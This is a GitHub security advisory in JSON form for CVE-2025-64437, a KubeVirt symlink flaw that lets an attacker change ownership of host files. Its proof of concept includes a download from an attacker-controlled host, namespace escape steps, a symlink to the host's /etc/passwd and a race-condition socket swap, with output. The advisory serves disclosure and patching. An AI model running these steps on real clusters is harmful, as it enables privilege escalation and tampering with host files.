CVE-2025-64437: Kubevirt.io/kubevirt KubeVirt Isolation Detection Flaw Allows Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2r4r-5x78-mvqf",
  "modified" : "2025-11-17T21:41:52Z",
  "published" : "2025-11-06T23:36:39Z",
  "aliases" : [ "CVE-2025-64437" ],
  "summary" : "KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes",
  "details" : "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nIt is possible to trick the `virt-handler` component into changing the ownership of arbitrary files on the host node to the unprivileged user with UID `107` due to mishandling of symlinks when determining the root mount of a `virt-launcher` pod.\n\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nIn the current implementation, the `virt-handler` does not verify whether the `launcher-sock` is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. \nTo successfully exploit this vulnerability, an attacker should be in control of the file system of the `virt-launcher` pod.\n\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nIn this demonstration, two additional vulnerabilities are combined with the primary issue to arbitrarily change the ownership of a file located on the host node:\n\n1. A symbolic link (`launcher-sock`) is used to manipulate the interpretation of the root mount within the affected container, effectively bypassing expected isolation boundaries.\n2. Another symbolic link (`disk.img`) is employed to [alter the perceived location of data within a PVC](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq), redirecting it to a file owned by root on the host filesystem.\n3. As a result, [the ownership of an existing host file owned by root is changed to a less privileged user with UID 107](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-46xp-26xh-hpqh).\n\n\nIt is assumed that an attacker has access to a `virt-launcher` pod's file system (for example, [obtained using another vulnerability](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9)) and also has access to the host file system with the privileges of the `qemu` user (`UID=107`). It is also assumed that they can create unprivileged user namespaces:\n\n```bash\nadmin@minikube:~$ sysctl -w kernel.unprivileged_userns_clone=1\n```\n\nThe below is inspired by [an article](https://blog.quarkslab.com/digging-into-linux-namespaces-part-2.html), where the attacker constructs an isolated environment solely using Linux namespaces and an augmented Alpine container root file system.\n\n```bash\n# Download an container file system from an attacker-controlled location\nqemu-compromised@minikube:~$ curl http://host.minikube.internal:13337/augmented-alpine.tar -o augmented-alpine.tar\n# Create a directory and extract the file system in it\nqemu-compromised@minikube:~$  mkdir rootfs_alpine && tar -xf augmented-alpine.tar -C rootfs_alpine\n# Create a MOUNT and remapped USER namespace environment and execute a shell process in it\nqemu-compromised@minikube:~$ unshare --user --map-root-user --mount sh\n# Bind-mount the alpine rootfs, move into it and create a directory for the old rootfs.\n# The user is root in its new USER namesapce\nroot@minikube:~$ mount --bind rootfs_alpine rootfs_alpine && cd rootfs_alpine && mkdir hostfs_root\n# Swap the current root of the process and store the old one within a directory\nroot@minikube:~$ pivot_root . hostfs_root \nroot@minikube:~$ export PATH=/bin:/usr/bin:/usr/sbin\n# Create the directory with the same path as the PVC mounted within the `virt-launcher`. In it `virt-handler` will search for a `disk.img` file associated with a volume mount\nroot@minikube:~$ PVC_PATH=\"/var/run/kubevirt-private/vmi-disks/corrupted-pvc\" && \\\nmkdir -p \"${PVC_PATH}\" && \\\ncd \"${PVC_PATH}\"\n# Create the `disk.img` symlink pointing to `/etc/passwd` of the host in the old root mount directory\nroot@minikube:~$ ln -sf ../../../../../../../../../../../../hostfs_root/etc/passwd disk.img\n# Create the socket wich will confuse the isolator detector and start listening on it\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n```\n\n\nAfter the environment is set, the `launcher-sock` in the `virt-launcher` container should be replaced with a symlink to `../../../../../../../../../proc/2245509/root/tmp/bad.sock` (2245509 is the PID of the above isolated shell process). This should be done, however, in a the right moment. For this demonstration, it was decided to trigger the bug while leveraging a race condition when creating or updating a VMI:\n\n```go\n//pkg/virt-handler/vm.go\n\nfunc (c *VirtualMachineController) vmUpdateHelperDefault(origVMI *v1.VirtualMachineInstance, domainExists bool) error {\n  // ...\n  //!!! MK: the change should happen here before executing the below line !!!\n  isolationRes, err := c.podIsolationDetector.Detect(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(failedDetectIsolationFmt, err)\n\t\t}\n\t\tvirtLauncherRootMount, err := isolationRes.MountRoot()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// ...\n\n\t\t// initialize disks images for empty PVC\n\t\thostDiskCreator := hostdisk.NewHostDiskCreator(c.recorder, lessPVCSpaceToleration, minimumPVCReserveBytes, virtLauncherRootMount)\n\t\t// MK: here the permissions are changed\n\t\terr = hostDiskCreator.Create(vmi)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"preparing host-disks failed: %v\", err)\n\t\t}\n    // ...\n\n```\n\nThe manifest of the #acr(\"vmi\") which is going to trigger the bug is:\n\n```yaml\n# The PVC will be used for the `disk.img` related bug\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: corrupted-pvc\nspec:\n  accessModes:\n    - ReadWriteMany\n  resources:\n    requests:\n      storage: 500Mi\n---\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  name: launcher-symlink-confusion\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n      - name: corrupted-pvc\n        disk:\n          bus: virtio\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: corrupted-pvc\n    persistentVolumeClaim:\n      claimName: corrupted-pvc\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\nJust before the line is executed, the attacker should replace the `launcher-sock` with a symlink to the `bad.sock` controlled by the isolated process:\n\n```bash\n# the namespaced process controlled by the attacker has pid=2245509\nqemu-compromised@minikube:~$ p=$(pgrep -af \"/usr/bin/virt-launcher\" | grep -v virt-launcher-monitor | awk '{print $1}') &&  ln -sf ../../../../../../../../../proc/2245509/root/tmp/bad.sock /proc/$p/root/var/run/kubevirt/sockets/launcher-sock\n```\n\n\nUpon successful exploitation, `virt-launcher` connects to the attacker controlled socket, misinterprets the root mount and changes the permissions of the host's `/etc/passwd` file:\n\n\n```bash\n# `virt-launcher` connects successfully\nroot@minikube:~$ socat -d -d UNIX-LISTEN:/tmp/bad.sock,fork,reuseaddr -\n...\n2025/05/27 17:17:35 socat[2245509] N accepting connection from AF=1 \"<anon>\" on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2245509] N forked off child process 2252010\n2025/05/27 17:17:35 socat[2245509] N listening on AF=1 \"/tmp/bad.sock\"\n2025/05/27 17:17:35 socat[2252010] N reading from and writing to stdio\n2025/05/27 17:17:35 socat[2252010] N starting data transfer loop with FDs [6,6] and [0,1]\nPRI * HTTP/2.0\n```\n\n```bash\nadmin@minikube:~$ ls -al /etc/passwd\n-rw-r--r--. 1 compromised-qemu systemd-resolve 1337 May 23 13:19 /etc/passwd\n\nadmin@minikube:~$ cat /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n_rpc:x:101:65534::/run/rpcbind:/usr/sbin/nologin\nsystemd-network:x:102:106:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:103:107:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nstatd:x:104:65534::/var/lib/nfs:/usr/sbin/nologin\nsshd:x:105:65534::/run/sshd:/usr/sbin/nologin\ndocker:x:1000:999:,,,:/home/docker:/bin/bash\ncompromised-qemu:x:107:107::/home/compromised-qemu:/bin/bash\n```\n\nThe attacker controlling an unprivileged user can now update the contents of the file.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID `107` (the same user used by `virt-launcher`) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "kubevirt.io/kubevirt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "kubevirt.io/kubevirt"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.6.0-alpha.0"
      }, {
        "fixed" : "1.6.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64437"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kubevirt/kubevirt"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-06T23:36:39Z",
    "nvd_published_at" : "2025-11-07T23:15:46Z"
  }
}